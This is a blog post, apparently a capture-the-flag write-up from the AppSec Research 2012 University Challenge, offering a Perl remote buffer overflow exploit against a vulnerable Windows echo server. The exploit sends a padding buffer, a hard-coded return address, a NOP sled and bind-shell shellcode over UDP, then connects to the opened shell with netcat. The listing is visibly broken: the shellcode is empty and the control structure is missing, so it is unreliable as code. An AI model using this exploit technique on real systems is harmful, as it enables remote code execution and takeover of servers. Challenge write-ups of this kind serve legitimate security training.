Appsec Research 2012 – University Challenge BOE

17 Jul

The following vulnerable application (server.exe) was part of the Appsec Research 2012 University Challenge.

Goal: To open a command shell on the server with privileges of the vulnerable echo server.

Warning: Here is the POC of buffer overflow exploit tested on Windows XP SP3 English box. In the case of  Appsec Research 2012 the  vulnerable application (server.exe) was running on Windows Server 2003 SP1.


use IO::Socket;

print "\n[*] OWASP AppSec Research 2012 - Uni Challenge. \n";
print "[*] Remote Buffer Overflow Exploit - server.exe\n";
print "[*] mr.pr0n || \n\n";

print "Please, enter your target: \n> ";

$junk	 	= "\x41" x 260; 	# Send 260 "A".
$ret		= "\x53\x2b\xab\x71"; 	# ws2_32.dll push ESP - ret (Windows XP SP3)
$nops 		= "\x90" x 20; 		# 20 nops.

# MSF windows/shell_bind_tcp LPORT=4444
$shellcode =

if ($socket = IO::Socket::INET->new
	(PeerAddr => $target,
	PeerPort => "1979",
	Proto => "UDP"))
		print "\n[*] Sending Buffer at: $target ...\n";
		$exploit  = $junk.$ret.$nops.$shellcode;
		print $socket $exploit."\r\n";
		print "[*] Exploitation Done!\n\n";
                $command = "nc $target 4444";
                system ($command);

		print "[-] Connection to $target failed!\n";

Leave a comment

Posted by on July 17, 2012 in Capture The Flag, Exploits


Tags: , , , , , ,

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: